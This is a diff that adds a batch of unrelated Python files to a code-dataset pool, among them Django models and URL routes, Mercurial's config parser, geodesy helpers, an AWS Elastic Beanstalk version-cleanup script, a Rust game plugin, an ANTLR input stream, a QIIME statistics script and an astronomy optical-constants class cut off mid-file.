diff --git a/pool/shard008/Python/0078791_models.py b/pool/shard008/Python/0078791_models.py new file mode 100644 index 0000000000000000000000000000000000000000..c3172e99d994bc9a1f5a3627f498d712147cad3b --- /dev/null +++ b/pool/shard008/Python/0078791_models.py @@ -0,0 +1,50 @@ +from django.db import models + +class Blueprint(models.Model): + name = models.CharField(max_length=30) + +class MineBlueprint(models.Model): + name = models.CharField(max_length=30, unique=True) + max_output_rate = models.FloatField() + output = models.IntegerField() + max_capacity = models.FloatField() + + def __str__(self): + return self.name + +class FactoryBlueprint(models.Model): + name = models.CharField(max_length=30, unique=True) + max_output_rate = models.FloatField() + output = models.IntegerField() + max_capacity = models.FloatField() + + def __str__(self): + return self.name + +class ResourceType(models.Model): + name = models.CharField(max_length=30, unique=True) + requirements = models.ForeignKey('Resources', blank=True, null=True) + + def __str__(self): + return self.name + +class Mine(models.Model): + name = models.CharField(max_length=30, unique=True) + all_resources = models.ForeignKey('Resources') + coordinates = models.ForeignKey('Coordinates') + blueprint = models.IntegerField() + production_level = models.FloatField() + + def __str__(self): + return self.name + +class Coordinates(models.Model): + x = models.FloatField() + y = models.FloatField() + +class Resource(models.Model): + amount = models.FloatField() + resource_type = models.ForeignKey('ResourceType') + +class Resources(models.Model): + all_resources = models.ManyToManyField('Resource') diff --git a/pool/shard008/Python/0078793_config.py b/pool/shard008/Python/0078793_config.py new file mode 100644 index 0000000000000000000000000000000000000000..903bae4122a168f87ca0a4b2a2d92ea4ca4c5401 --- /dev/null +++ b/pool/shard008/Python/0078793_config.py @@ -0,0 +1,159 @@ +# config.py - configuration parsing for Mercurial +# +# Copyright 2009 Matt Mackall and others +# +# This software may be used and distributed according to the terms of the +# GNU General Public License version 2 or any later version. + +from i18n import _ +import error, util +import os, errno + +class config(object): + def __init__(self, data=None): + self._data = {} + self._source = {} + self._unset = [] + if data: + for k in data._data: + self._data[k] = data[k].copy() + self._source = data._source.copy() + def copy(self): + return config(self) + def __contains__(self, section): + return section in self._data + def __getitem__(self, section): + return self._data.get(section, {}) + def __iter__(self): + for d in self.sections(): + yield d + def update(self, src): + for s, n in src._unset: + if s in self and n in self._data[s]: + del self._data[s][n] + del self._source[(s, n)] + for s in src: + if s not in self: + self._data[s] = util.sortdict() + self._data[s].update(src._data[s]) + self._source.update(src._source) + def get(self, section, item, default=None): + return self._data.get(section, {}).get(item, default) + + def backup(self, section, item): + """return a tuple allowing restore to reinstall a previous value + + The main reason we need it is because it handles the "no data" case. + """ + try: + value = self._data[section][item] + source = self.source(section, item) + return (section, item, value, source) + except KeyError: + return (section, item) + + def source(self, section, item): + return self._source.get((section, item), "") + def sections(self): + return sorted(self._data.keys()) + def items(self, section): + return self._data.get(section, {}).items() + def set(self, section, item, value, source=""): + if section not in self: + self._data[section] = util.sortdict() + self._data[section][item] = value + if source: + self._source[(section, item)] = source + + def restore(self, data): + """restore data returned by self.backup""" + if len(data) == 4: + # restore old data + section, item, value, source = data + self._data[section][item] = value + self._source[(section, item)] = source + else: + # no data before, remove everything + section, item = data + if section in self._data: + self._data[section].pop(item, None) + self._source.pop((section, item), None) + + def parse(self, src, data, sections=None, remap=None, include=None): + sectionre = util.re.compile(r'\[([^\[]+)\]') + itemre = util.re.compile(r'([^=\s][^=]*?)\s*=\s*(.*\S|)') + contre = util.re.compile(r'\s+(\S|\S.*\S)\s*$') + emptyre = util.re.compile(r'(;|#|\s*$)') + commentre = util.re.compile(r'(;|#)') + unsetre = util.re.compile(r'%unset\s+(\S+)') + includere = util.re.compile(r'%include\s+(\S|\S.*\S)\s*$') + section = "" + item = None + line = 0 + cont = False + + for l in data.splitlines(True): + line += 1 + if line == 1 and l.startswith('\xef\xbb\xbf'): + # Someone set us up the BOM + l = l[3:] + if cont: + if commentre.match(l): + continue + m = contre.match(l) + if m: + if sections and section not in sections: + continue + v = self.get(section, item) + "\n" + m.group(1) + self.set(section, item, v, "%s:%d" % (src, line)) + continue + item = None + cont = False + m = includere.match(l) + if m: + inc = util.expandpath(m.group(1)) + base = os.path.dirname(src) + inc = os.path.normpath(os.path.join(base, inc)) + if include: + try: + include(inc, remap=remap, sections=sections) + except IOError, inst: + if inst.errno != errno.ENOENT: + raise error.ParseError(_("cannot include %s (%s)") + % (inc, inst.strerror), + "%s:%s" % (src, line)) + continue + if emptyre.match(l): + continue + m = sectionre.match(l) + if m: + section = m.group(1) + if remap: + section = remap.get(section, section) + if section not in self: + self._data[section] = util.sortdict() + continue + m = itemre.match(l) + if m: + item = m.group(1) + cont = True + if sections and section not in sections: + continue + self.set(section, item, m.group(2), "%s:%d" % (src, line)) + continue + m = unsetre.match(l) + if m: + name = m.group(1) + if sections and section not in sections: + continue + if self.get(section, name) is not None: + del self._data[section][name] + self._unset.append((section, name)) + continue + + raise error.ParseError(l.rstrip(), ("%s:%s" % (src, line))) + + def read(self, path, fp=None, sections=None, remap=None): + if not fp: + fp = util.posixfile(path) + self.parse(path, fp.read(), sections, remap, self.read) diff --git a/pool/shard008/Python/0078797_urls.py b/pool/shard008/Python/0078797_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..2ddf1552f6348076d7619552d3d2596105c6f06c --- /dev/null +++ b/pool/shard008/Python/0078797_urls.py @@ -0,0 +1,44 @@ +""" + + URLs for blog app + +""" + +import os +from django.contrib import admin +from django.views.generic import TemplateView +from django.conf.urls import * +from rest_framework.urlpatterns import format_suffix_patterns +import api_views + +api_urlpatterns = patterns('blog.api_views', + url(r'^$', 'api_root'), + url(r'^posts$', api_views.PostGenericList.as_view(), name='post-list'), + url(r'^posts/tag/(?P.+)$', api_views.TagGenericList.as_view(), name='tag'), + url(r'^posts/search/(?P.+)$', api_views.SearchGenericList.as_view(), name='search'), + url(r'^posts/user/(?P.+)$', api_views.UserGenericList.as_view(), name='user'), + url(r'^posts/(?P[0-9]+)/comments$', api_views.CommentsGenericDetail.as_view(), name='comments'), + url(r'^posts/(?P.+)$', api_views.PostGenericDetail.as_view(), name='post-detail'), + url(r'^siteactivities$', api_views.SiteActivityGenericList.as_view(), name='site-activities'), + url(r'^siteactivities/(?P[0-9]+)$', api_views.SiteActivityGenericList.as_view(), name='site-activities'), + url(r'^alltags$', 'all_tags', name='all-tags'), +) + +api_urlpatterns = format_suffix_patterns(api_urlpatterns) + +urlpatterns = patterns(r'blog.views', + (r'^$', 'home_view'), + (r'^post/comment/(?P.+)/(?P.+)$', 'post_view'), + (r'^post/(?P.+)/(?P.+)$', 'post_view'), + (r'^post/(?P.+)$', 'post_view'), + (r'^tag/(?P.+)$', 'tag_view'), + (r'^login$', 'login_view'), + (r'^logout$', 'logout_view'), + (r'^register$', 'register_view'), + (r'^create_post$', 'create_post_view' ), + (r'^delete_post/(?P.+)$', 'delete_post_view' ), + (r'^edit_post/(?P.+)$', 'edit_post_view' ), + (r'^search/$', 'search_view' ), + (r'^load_posts/$', 'load_posts_view' ), + (r'^api/', include(api_urlpatterns)) +) diff --git a/pool/shard008/Python/0078798_acessarDBsurfers.py b/pool/shard008/Python/0078798_acessarDBsurfers.py new file mode 100644 index 0000000000000000000000000000000000000000..63b3e3194236fbb5affe2d2d0ad3d6a0e74df047 --- /dev/null +++ b/pool/shard008/Python/0078798_acessarDBsurfers.py @@ -0,0 +1,16 @@ +import sqlite3 +con = sqlite3.connect('surfersDB.sbd') +cur = con.cursor() + +#cur.execute('''insert into surfers values("Felipe Souza", "Brazil", 9.5, "Free style", 30)''') +#cur.execute('''insert into surfers values("Lucas Souza", "Brazil", 7.5, "Free style", 13)''') +#cur.execute('''insert into surfers values("Danielle Souza", "Brazil", 8.5, "Free style", 32)''') +cur.execute('''select * from surfers''') +cur.execute('''select * from surfers where age > 10 order by average desc''') + +for x in cur.fetchall(): + print(x) + +cur.close() +con.commit() +con.close() diff --git a/pool/shard008/Python/0078801_list2.py b/pool/shard008/Python/0078801_list2.py new file mode 100644 index 0000000000000000000000000000000000000000..37183feec3441e40d83dc68a19cda63916acd32d --- /dev/null +++ b/pool/shard008/Python/0078801_list2.py @@ -0,0 +1,87 @@ +#!/usr/bin/python -tt +# Copyright 2010 Google Inc. +# Licensed under the Apache License, Version 2.0 +# http://www.apache.org/licenses/LICENSE-2.0 + +# Google's Python Class +# http://code.google.com/edu/languages/google-python-class/ + +# Additional basic list exercises + +# D. Given a list of numbers, return a list where +# all adjacent == elements have been reduced to a single element, +# so [1, 2, 2, 3] returns [1, 2, 3]. You may create a new list or +# modify the passed in list. +def remove_adjacent(nums): + # +++your code here+++ + result = [] + for num in nums: + if len(result) == 0 or num != result[-1]: + result.append(num) + + + return result + + +# E. Given two lists sorted in increasing order, create and return a merged +# list of all the elements in sorted order. You may modify the passed in lists. +# Ideally, the solution should work in "linear" time, making a single +# pass of both lists. +def linear_merge(list1, list2): + # +++your code here+++ + comboList = [] + while len(list1) and len(list2) > 0: + if list1[0] < list2[0]: + comboList.append(list1.pop(0)) + else: + comboList.append(list2.pop(0)) + +# while(comboListSize > 0): +# if list1[list1pt] <= list2[list2pt]: +# comboList.append(list1[list1pt]) +# list1pt += 1 +# else: +# comboList.append(list2[list2pt]) +# list2pt += 1 +# comboListSize -= 1 + + return comboList + list1 + list2 + +# Note: the solution above is kind of cute, but unforunately list.pop(0) +# is not constant time with the standard python list implementation, so +# the above is not strictly linear time. +# An alternate approach uses pop(-1) to remove the endmost elements +# from each list, building a solution list which is backwards. +# Then use reversed() to put the result back in the correct order. That +# solution works in linear time, but is more ugly. + + +# Simple provided test() function used in main() to print +# what each function returns vs. what it's supposed to return. +def test(got, expected): + if got == expected: + prefix = ' OK ' + else: + prefix = ' X ' + print '%s got: %s expected: %s' % (prefix, repr(got), repr(expected)) + + +# Calls the above functions with interesting inputs. +def main(): + print 'remove_adjacent' + test(remove_adjacent([1, 2, 2, 3]), [1, 2, 3]) + test(remove_adjacent([2, 2, 3, 3, 3]), [2, 3]) + test(remove_adjacent([]), []) + + print + print 'linear_merge' + test(linear_merge(['aa', 'xx', 'zz'], ['bb', 'cc']), + ['aa', 'bb', 'cc', 'xx', 'zz']) + test(linear_merge(['aa', 'xx'], ['bb', 'cc', 'zz']), + ['aa', 'bb', 'cc', 'xx', 'zz']) + test(linear_merge(['aa', 'aa'], ['aa', 'bb', 'bb']), + ['aa', 'aa', 'aa', 'bb', 'bb']) + + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078802_tools.py b/pool/shard008/Python/0078802_tools.py new file mode 100644 index 0000000000000000000000000000000000000000..c66c55f72d0c193656a8d7f34187cd20b4099a6f --- /dev/null +++ b/pool/shard008/Python/0078802_tools.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python +#-*- coding:utf-8 -*- + +""" +Tools + + +http://en.wikipedia.org/wiki/Haversine_formula + +ToDo: ToFix / ToTest + +""" + +import math + +def waypoint_bearing(lat1, lon1, lat2, lon2): + """ + Calculates the bearing between 2 locations. + + Method calculates the bearing between 2 locations. + + @param lon1 First point longitude. + @param lat1 First point latitude. + @param lon2 Second point longitude. + @param lat2 Second point latitude. + + @return The bearing between 2 locations. + """ + + + longitude1 = math.radians(lon1) + latitude1 = math.radians(lat1) + longitude2 = math.radians(lon2) + latitude2 = math.radians(lat2) + + clat1 = math.cos(latitude1) + clat2 = math.cos(latitude2) + dlon = longitude2 - longitude1 + + y = math.sin(dlon) * clat2 + x = clat1 * math.sin(latitude2) - math.sin(latitude1) * clat2 * math.cos(dlon) + + if x==0 and y==0: + return(0.0) + else: + return((360 + math.degrees(math.atan2(y, x)) + 0.5) % 360.0) + + +def haversine_bearing(lat1, lon1, lat2, lon2): + """ + Calculate the bearing from 1 point to 1 other + on the earth (specified in decimal degrees) + """ + # convert decimal degrees to radians + lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2]) + + dlon = lon2 - lon1 + + b = math.atan2(math.sin(dlon) * math.cos(lat2), + math.cos(lat1) * math.sin(lat2) + - math.sin(lat1) * math.cos(lat2) * math.cos(dlon)) # bearing calc + + bd = math.degrees(b) + + br, bn = divmod(bd + 360, 360) # the bearing remainder and final bearing + + return bn + +def haversine_distance(lat1, lon1, lat2, lon2): + """ + Calculate the great circle distance between two points + on the earth (specified in decimal degrees) + """ + # convert decimal degrees to radians + lat1, lon1, lat2, lon2 = map(math.radians, [lat1, lon1, lat2, lon2]) + + # haversine formula + dlon = lon2 - lon1 + dlat = lat2 - lat1 + a = math.sin(dlat/2)**2 + math.cos(lat1) * math.cos(lat2) * math.sin(dlon/2)**2 + c = 2 * math.asin(math.sqrt(a)) + r = 6371.0 # Radius of earth in kilometers. Use 3956 for miles + return(c * r) + +def main(): + # Just some tests (should be removed) + + (lon1, lat1, lon2, lat2) = (45.0, 1.0, 45.5, 2.0) + + bearing = waypoint_bearing(lon1, lat1, lon2, lat2) + print(bearing) + bearing = haversine_bearing(lon1, lat1, lon2, lat2) + print(bearing) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078804_config.py b/pool/shard008/Python/0078804_config.py new file mode 100644 index 0000000000000000000000000000000000000000..06f68977d9d9b34c0f2ea47562c65f99729e1489 --- /dev/null +++ b/pool/shard008/Python/0078804_config.py @@ -0,0 +1,30 @@ +import os +basedir = os.path.abspath(os.path.dirname(__file__)) + + +class Config: + SQLALCHEMY_COMMIT_ON_TEARDOWN = True + SECRET_KEY = os.environ.get('SECRET_KEY') or 'something something' + VOICERSS_API_KEY = os.environ.get('VOICERSS_API_KEY') + + @staticmethod + def init_app(app): + pass + + +class TestConfig(Config): + TESTING = True + LOG_FILE = os.path.join(basedir, 'pi-o-clock-test.log') + DB_FILE = os.path.join(basedir, 'pi-o-clock-test.sqlite') + SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE + + +class ProductionConfig(Config): + LOG_FILE = os.path.join(basedir, 'pi-o-clock.log') + DB_FILE = os.path.join(basedir, 'pi-o-clock.sqlite') + SQLALCHEMY_DATABASE_URI = 'sqlite:///' + DB_FILE + +config = { + 'test': TestConfig, + 'production': ProductionConfig, +} \ No newline at end of file diff --git a/pool/shard008/Python/0078805_aws-clean-eb-versions.py b/pool/shard008/Python/0078805_aws-clean-eb-versions.py new file mode 100644 index 0000000000000000000000000000000000000000..a0118ab251a59ed336382a33549a61b37d9ec571 --- /dev/null +++ b/pool/shard008/Python/0078805_aws-clean-eb-versions.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 + +import argparse +import sys +import logging +import boto3 + +client = boto3.client("elasticbeanstalk") + +# Fix Python 2.x. +try: input = raw_input +except NameError: pass + +# get list of currently deployed versions for each app +def get_deployed_versions(): + res = {} + environments = client.describe_environments() + for env in environments["Environments"]: + try: + if env["ApplicationName"] in res: + res[env["ApplicationName"]].append(env["VersionLabel"]) + else: + res[env["ApplicationName"]] = [env["VersionLabel"]] + except KeyError: + pass + return res + +# get list of app versions per app +def get_versions_per_app(): + res = {} + versions = client.describe_application_versions() + # sort by date + versions = sorted(versions["ApplicationVersions"], key=lambda x: x["DateCreated"], reverse=True) + for v in versions: + try: + if v["ApplicationName"] in res: + res[v["ApplicationName"]].append( v["VersionLabel"] ) + else: + res[v["ApplicationName"]] = [v["VersionLabel"]] + except KeyError: + pass + return res + +def get_deleted_versions(deployed_versions, app_versions, keep_versions): + res = app_versions[:] + res = list( set(res) - set(deployed_versions) ) + return res[keep_versions - 1 :] + +def get_kept_versions(deployed_versions, app_versions, keep_versions): + res = app_versions[:] + res = res[0:keep_versions] + res = list( set(res) | set(deployed_versions) ) + return res + +def delete_version(version, app): + client.delete_application_version( + ApplicationName=app, + VersionLabel=version, + DeleteSourceBundle=True + ) + +def main(): + + parser = argparse.ArgumentParser( + description="Delete old EB application versions", + epilog="Copyright (C) 2017 Kamil Zegier ") + parser.add_argument("-k", "--keep-versions", action="store", default=10, type=int, help="How many versions should we keep for each environment") + parser.add_argument("-f", "--force", action="store_true", help="Force delete, dont ask for each application") + parser.add_argument("-v", "--version", help="Print version", action="version", version="%(prog)s 1.0") + args = parser.parse_args() + + deployed_versions = get_deployed_versions() + app_versions = get_versions_per_app() + + for app in app_versions: + versions_to_keep = get_kept_versions(deployed_versions[app], app_versions[app], args.keep_versions) + versions_to_delete = get_deleted_versions(deployed_versions[app], app_versions[app], args.keep_versions) + if len(versions_to_delete) == 0: + print("%s - Nothing to delete" % app) + continue + print("%s - %s versions will remain. %s versions will be deleted" % ( app, len(versions_to_keep), len(versions_to_delete) ) ) + if args.force: + userInput = "y" + else: + print("Are you sure you want to delete? (Y/N)") + userInput = input(':') + if userInput.lower() == "y": + for version in versions_to_delete: + delete_version(version, app) + print ("Deleted version %s", (version) ) + +if __name__ == "__main__": + main() + +# vim: tabstop=4 expandtab shiftwidth=4 softtabstop=4 smarttab diff --git a/pool/shard008/Python/0078807_radline.py b/pool/shard008/Python/0078807_radline.py new file mode 100644 index 0000000000000000000000000000000000000000..45ea1a371a0b34d66d4ea2d2a1b7af5a486c308a --- /dev/null +++ b/pool/shard008/Python/0078807_radline.py @@ -0,0 +1,198 @@ +import Rust +import server +from UnityEngine import Time + +# GLOBAL VARIABLES +DEV = False +LATEST_CFG = 2.0 +LINE = '-' * 50 + +class radline: + + # ========================================================================== + # <>> PLUGIN + # ========================================================================== + def __init__(self): + + # PLUGIN INFO + self.Title = 'Rad Line' + self.Author = 'SkinN' + self.Description = 'Turns off radiation for a while from time to time' + self.Version = V(1, 1, 0) + self.HasConfig = True + self.ResourceId = 914 + + # ========================================================================== + # <>> CONFIGURATION + # ========================================================================== + def LoadDefaultConfig(self): + + self.Config = { + 'CONFIG_VERSION': LATEST_CFG, + 'SETTINGS': { + 'PREFIX': self.Title.upper(), + 'OFF TIME': 10, + 'INTERVAL': 30 + }, + 'MESSAGES': { + 'RAD OFF': 'RADIATION LEVELS ARE DOWN FOR {offtime} MINUTES!', + 'RAD ON': 'RADIATION LEVELS ARE BACK UP! Will be down again in {interval} minutes.', + 'STATE ON': 'Radiation levels will be down in {remaining} minutes.', + 'STATE OFF': 'Radiation levels are now down!', + 'RAD COMMAND DESC': '/rad - Shows the current state of radiation, whether is on or off' + }, + 'COLORS': { + 'PREFIX': 'red', + 'MESSAGES': 'lime' + } + } + + self.console('Loading default configuration file', True) + + # -------------------------------------------------------------------------- + def UpdateConfig(self): + + # IS OLDER CONFIG TWO VERSIONS OLDER? + if self.Config['CONFIG_VERSION'] <= LATEST_CFG - 0.2 or DEV: + + self.console('Current configuration file is two or more versions older than the latest (Current: v%s / Latest: v%s)' % (self.Config['CONFIG_VERSION'], LATEST_CFG), True) + + # RESET CONFIGURATION + self.Config.clear() + + # RESET CONFIGURATION + self.LoadDefaultConfig() + + else: + + # NEW VERSION VALUE + self.Config['CONFIG_VERSION'] = LATEST_CFG + + # NEW CHANGES + + # SAVE CHANGES + self.SaveConfig() + + # ========================================================================== + # <>> PLUGIN SPECIFIC + # ========================================================================== + def Init(self): + + self.console('Loading Plugin') + self.console(LINE) + + # UPDATE CONFIG FILE + if self.Config['CONFIG_VERSION'] < LATEST_CFG or DEV: + + self.UpdateConfig() + + # PLUGIN SPECIFIC + global PLUGIN, MSG, COLOR + MSG = self.Config['MESSAGES'] + COLOR = self.Config['COLORS'] + PLUGIN = self.Config['SETTINGS'] + + self.prefix = '%s' % (self.Config['COLORS']['PREFIX'], PLUGIN['PREFIX']) if PLUGIN['PREFIX'] else None + self.title = '%s' % self.Title.upper() + self.intstamp = 0 + self.offtime = PLUGIN['OFF TIME'] * 60 if PLUGIN['OFF TIME'] else 600 + self.int = PLUGIN['INTERVAL'] * 60 if PLUGIN['INTERVAL'] else 1800 + + # START EVENT + self.console('Starting event loop (Interval: %d.%d minute/s)' % divmod(PLUGIN['INTERVAL'] * 60, 60)) + self.loop(True) + + # COMMANDS + self.console('Creating /rad command') + command.AddChatCommand('rad', self.Plugin, 'rad_CMD') + command.AddChatCommand(self.Title.lower(), self.Plugin, 'plugin_CMD') + + self.console(LINE) + + # ========================================================================== + # <>> MESSAGE FUNTIONS + # ========================================================================== + def console(self, text, force=False): + + print('[%s v%s] :: %s' % (self.Title, str(self.Version), text)) + + # -------------------------------------------------------------------------- + def say(self, text, color='white', userid=0): + + if self.prefix: + + rust.BroadcastChat('%s : %s' % (self.prefix, color, text), None, str(userid)) + + else: + + rust.BroadcastChat('%s' % (color, text), None, str(userid)) + + # -------------------------------------------------------------------------- + def tell(self, player, text, color='white', userid=0, force=True): + + if self.prefix and force: + + rust.SendChatMessage(player, '%s : %s' % (self.prefix, color, text), None, str(userid)) + + else: + + rust.SendChatMessage(player, '%s' % (color, text), None, str(userid)) + + # ========================================================================== + # <>> MAIN FUNTIONS + # ========================================================================== + def loop(self, force=False): + + if not server.radiation or force: + + server.radiation = True + + self.intstamp = Time.realtimeSinceStartup + + timer.Once(self.int, self.loop, self.Plugin) + + self.console('Radiation is now on') + + if not force: + + self.say(MSG['RAD ON'].format(interval=PLUGIN['INTERVAL']), COLOR['MESSAGES']) + + else: + + server.radiation = False + + timer.Once(self.offtime, self.loop, self.Plugin) + + self.say(MSG['RAD OFF'].format(offtime=PLUGIN['OFF TIME']), COLOR['MESSAGES']) + + self.console('Radiation is now off') + + # -------------------------------------------------------------------------- + def rad_CMD(self, player, cmd, args): + + if server.radiation: + + secs = int((PLUGIN['INTERVAL'] * 60) - (Time.realtimeSinceStartup - self.intstamp)) + + self.tell(player, MSG['STATE ON'].format(remaining='%d.%d' % divmod(secs, 60)), COLOR['MESSAGES']) + + else: + + self.tell(player, MSG['STATE OFF'], COLOR['MESSAGES']) + + # -------------------------------------------------------------------------- + def plugin_CMD(self, player, cmd, args): + + self.tell(player, LINE, force=False) + self.tell(player, '%s v%s by SkinN' % (self.title, self.Version), force=False) + self.tell(player, self.Description, 'lime', force=False) + self.tell(player, '| RESOURSE ID: %s | CONFIG: v%s |' % (self.ResourceId, self.Config['CONFIG_VERSION']), force=False) + self.tell(player, LINE, force=False) + self.tell(player, '<< Click the icon to contact me.', userid='76561197999302614', force=False) + + # -------------------------------------------------------------------------- + def SendHelpText(self, player, cmd=None, args=None): + + self.tell(player, self.Config['MESSAGES']['RAD COMMAND DESC']) + +# ==============================================================================0, \ No newline at end of file diff --git a/pool/shard008/Python/0078812_InputStream.py b/pool/shard008/Python/0078812_InputStream.py new file mode 100644 index 0000000000000000000000000000000000000000..0bc6fafa94b7631ba5e799ec7141bc3d34fd78f9 --- /dev/null +++ b/pool/shard008/Python/0078812_InputStream.py @@ -0,0 +1,107 @@ +# +# Copyright (c) 2012-2016 The ANTLR Project. All rights reserved. +# Use of this file is governed by the BSD 3-clause license that +# can be found in the LICENSE.txt file in the project root. +# +import unittest + + +# +# Vacuum all input from a string and then treat it like a buffer. +# +from antlr4.Token import Token + + +class InputStream (object): + + def __init__(self, data): + self.name = "" + self.strdata = unicode(data) + self._loadString() + + def _loadString(self): + self._index = 0 + self.data = [ord(c) for c in self.strdata] + self._size = len(self.data) + + @property + def index(self): + return self._index + + @property + def size(self): + return self._size + + # Reset the stream so that it's in the same state it was + # when the object was created *except* the data array is not + # touched. + # + def reset(self): + self._index = 0 + + def consume(self): + if self._index >= self._size: + assert self.LA(1) == Token.EOF + raise Exception("cannot consume EOF") + self._index += 1 + + def LA(self, offset): + if offset==0: + return 0 # undefined + if offset<0: + offset += 1 # e.g., translate LA(-1) to use offset=0 + pos = self._index + offset - 1 + if pos < 0 or pos >= self._size: # invalid + return Token.EOF + return self.data[pos] + + def LT(self, offset): + return self.LA(offset) + + # mark/release do nothing; we have entire buffer + def mark(self): + return -1 + + def release(self, marker): + pass + + # consume() ahead until p==_index; can't just set p=_index as we must + # update line and column. If we seek backwards, just set p + # + def seek(self, _index): + if _index<=self._index: + self._index = _index # just jump; don't update stream state (line, ...) + return + # seek forward + self._index = min(_index, self._size) + + def getText(self, start, stop): + if stop >= self._size: + stop = self._size-1 + if start >= self._size: + return "" + else: + return self.strdata[start:stop+1] + + def __str__(self): + return unicode(self) + + def __unicode__(self): + return self.strdata + + +class TestInputStream(unittest.TestCase): + + def testStream(self): + stream = InputStream("abcde") + self.assertEqual(0, stream.index) + self.assertEqual(5, stream.size) + self.assertEqual(ord("a"), stream.LA(1)) + stream.consume() + self.assertEqual(1, stream.index) + stream.seek(5) + self.assertEqual(Token.EOF, stream.LA(1)) + self.assertEqual("bcd", stream.getText(1, 3)) + stream.reset() + self.assertEqual(0, stream.index) + diff --git a/pool/shard008/Python/0078815_dissimilarity_mtx_stats.py b/pool/shard008/Python/0078815_dissimilarity_mtx_stats.py new file mode 100644 index 0000000000000000000000000000000000000000..703651afd77017804decdf1f3661c78e98776336 --- /dev/null +++ b/pool/shard008/Python/0078815_dissimilarity_mtx_stats.py @@ -0,0 +1,89 @@ +#!/usr/bin/env python +# File created on 09 Feb 2010 +from __future__ import division + +__author__ = "Justin Kuczynski" +__copyright__ = "Copyright 2011, The QIIME Project" +__credits__ = ["Justin Kuczynski", "Jai Ram Rideout"] +__license__ = "GPL" +__version__ = "1.9.1-dev" +__maintainer__ = "Justin Kuczynski" +__email__ = "justinak@gmail.com" + + +from qiime.util import parse_command_line_parameters, matrix_stats +from qiime.util import make_option +import os +from qiime.parse import parse_distmat +from qiime.format import format_distance_matrix + + +script_info = {} +script_info[ + 'brief_description'] = """Calculate mean, median and standard deviation from a set of distance matrices""" +script_info['script_description'] = """ +This script reads in all (dis)similarity matrices from an input directory +(input_dir), then calculates and writes the mean, median, standdard deviation +(stdev) to an output folder. + +The input_dir must contain only (dis)similarity matrices, and only those you +wish to perform statistical analyses on. +""" +script_info['script_usage'] = [] +script_info['script_usage'].append(("Example", + "This examples takes the \"dists/\" directory as input and returns the " + "results in the \"dist_stats/\" directory.", + "%prog -i dists/ -o dist_stats/")) +script_info['output_description'] = """ +The outputs are in distance matrix format, where each value is the mean, +median, or stdev of that element in all the input distance matrices. +""" +script_info['required_options'] = [ + make_option('-i', '--input_dir', type='existing_dirpath', + help='Path to input directory'), + make_option('-o', '--output_dir', type='new_dirpath', + help='Path to store result files') +] +script_info['optional_options'] = [] +script_info['version'] = __version__ + + +def main(): + option_parser, opts, args = parse_command_line_parameters(**script_info) + + indir = opts.input_dir + outdir = opts.output_dir + if not os.path.exists(outdir): + os.makedirs(outdir) + + # input + file_names = os.listdir(indir) + file_names = [fname for fname in file_names if not fname.startswith('.')] + + distmats = [] + headers_list = [] + for fname in file_names: + f = open(os.path.join(indir, fname), 'U') + headers, data = parse_distmat(f) + f.close() + distmats.append(data) + headers_list.append(headers) + + # calcs + headers, means, medians, stdevs = matrix_stats(headers_list, distmats) + + # output + f = open(os.path.join(outdir, 'means.txt'), 'w') + f.write(format_distance_matrix(headers, means)) + f.close() + + f = open(os.path.join(outdir, 'medians.txt'), 'w') + f.write(format_distance_matrix(headers, medians)) + f.close() + + f = open(os.path.join(outdir, 'stdevs.txt'), 'w') + f.write(format_distance_matrix(headers, stdevs)) + f.close() + +if __name__ == "__main__": + main() diff --git a/pool/shard008/Python/0078816_cmgraphite.py b/pool/shard008/Python/0078816_cmgraphite.py new file mode 100644 index 0000000000000000000000000000000000000000..f939f323145a004b7c322f7c895c2e4f5833fd35 --- /dev/null +++ b/pool/shard008/Python/0078816_cmgraphite.py @@ -0,0 +1,109 @@ +import numpy as np +from scipy.interpolate import interp1d +from astropy.io import ascii +from astropy import units as u + +from newdust import constants as c +from newdust.graindist.composition import _find_cmfile + +__all__ = ['CmGraphite'] + +RHO_GRA = 2.2 # g cm^-3 + +class CmGraphite(object): + """ + | **ATTRIBUTES** + | cmtype : 'Graphite' + | rho : grain material density (g cm^-3) + | size : 'big' or 'small' + | 'big' gives results for 0.1 um sized graphite grains at 20 K [Draine (2003)] + | 'small' gives results for 0.01 um sized grains at 20 K + | orient : 'perp' or 'para' + | 'perp' gives results for E-field perpendicular to c-axis + | 'para' gives results for E-field parallel to c-axis + | citation : A string containing citation to original work + | interps : A tuple containing scipy.interp1d objects (rp, ip) + | + | *functions* + | rp(lam, unit='kev') : Returns real part (unit='kev'|'angs') + | ip(lam, unit='kev') : Returns imaginary part (unit='kev'|'angs') + | cm(lam, unit='kev') : Complex index of refraction of dtype='complex' + | plot(lam=None, unit='kev') : Plots Re(m-1) and Im(m) + | if lam is *None*, plots the original interp objects + | otherwise, plots with user defined wavelength (lam) + """ + def __init__(self, rho=RHO_GRA, size='big', orient='perp'): + self.cmtype = 'Graphite' + self.rho = rho + self.size = size + self.orient = orient + self.citation = "Using optical constants for graphite,\nDraine, B. T. 2003, ApJ, 598, 1026\nhttp://adsabs.harvard.edu/abs/2003ApJ...598.1026D" + + if size == 'big': + D03file_para = _find_cmfile('callindex.out_CpaD03_0.10') + D03file_perp = _find_cmfile('callindex.out_CpeD03_0.10') + if size == 'small': + D03file_para = _find_cmfile('callindex.out_CpaD03_0.01') + D03file_perp = _find_cmfile('callindex.out_CpeD03_0.01') + + D03dat_para = ascii.read(D03file_para, header_start=4, data_start=5) + D03dat_perp = ascii.read(D03file_perp, header_start=4, data_start=5) + + if orient == 'perp': + wavel = D03dat_perp['wave(um)'] * u.micron + revals = 1.0 + D03dat_perp['Re(n)-1'] + imvals = D03dat_perp['Im(n)'] + + if orient == 'para': + wavel = D03dat_para['wave(um)'] * u.micron + revals = 1.0 + D03dat_para['Re(n)-1'] + imvals = D03dat_para['Im(n)'] + + rp = interp1d(wavel.to(u.cm).value, revals) # wavelength (cm), rp + ip = interp1d(wavel.to(u.cm).value, imvals) # wavelength (cm), ip + self.interps = (rp, ip) + + def _interp_helper(self, lam_cm, interp, rp=False): + # Returns zero for wavelengths not covered by the interpolation object + # If the real part is needed, returns 1 (consistent with vacuum) + result = np.zeros(np.size(lam_cm)) + if rp: result += 1 + + if np.size(lam_cm) == 1: + if (lam_cm >= np.min(interp.x)) & (lam_cm <= 